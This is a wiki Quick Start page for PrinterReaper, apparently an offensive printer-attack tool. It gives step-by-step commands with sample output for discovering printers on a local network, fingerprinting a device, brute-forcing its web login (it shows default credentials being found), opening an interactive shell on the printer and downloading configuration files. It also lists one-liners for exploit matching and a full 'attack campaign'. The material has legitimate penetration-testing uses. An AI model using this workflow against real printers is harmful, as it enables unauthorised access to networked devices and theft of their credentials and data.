Skip to content

Quick Start

Jump to bottom
Andre Henrique edited this page Mar 25, 2026 · 1 revision

Quick Start

Get your first results in under 60 seconds.

Step 1 — Install

git clone https://github.com/mrhenrike/PrinterReaper.git
cd PrinterReaper
python -m venv .venv && source .venv/bin/activate    # Linux/macOS
python -m venv .venv && .venv\Scripts\activate       # Windows
pip install -r requirements.txt

Step 2 — Find a printer

python printer-reaper.py --discover-local

Output:

[SNMP] Scanning 192.168.0.0/24 ...
192.168.0.152  EPSON L3250  Ready

Step 3 — Fingerprint the target

python printer-reaper.py 192.168.0.152 --scan --no-nvd

Output (key fields):

  Make    : Epson
  Model   : L3250 Series
  Serial  : XAABT77481
  Firmware: 05.22.XF26P8
  HTTP    : 200 OK (EPSON Web Config)
  SNMP    : public  sysDescr=EPSON L3250 Series

Step 4 — Brute-force login

python printer-reaper.py 192.168.0.152 --bruteforce \
  --bf-vendor epson --bf-serial XAABT77481 --bf-no-variations

Output:

  [+] FOUND: HTTP → 'admin' / 'epson'

Step 5 — Open interactive shell

python printer-reaper.py 192.168.0.152 auto
192.168.0.152:/> id
EPSON L3250 Series, Firmware 05.22.XF26P8

192.168.0.152:/> ls /
./
../
EpsonInternal/
webServer/

192.168.0.152:/> download /webServer/config/soe.xml

Common one-liners

# Guided menu (no arguments)
python printer-reaper.py

# Full scan + exploit matching
python printer-reaper.py 192.168.1.100 --scan --xpl

# Full attack campaign (dry-run)
python printer-reaper.py 192.168.1.100 --attack-matrix

# Send a print job
python printer-reaper.py 192.168.1.100 --send-job document.txt

# List all exploit modules
python printer-reaper.py --xpl-list

# Check API key status
python printer-reaper.py --check-config

Clone this wiki locally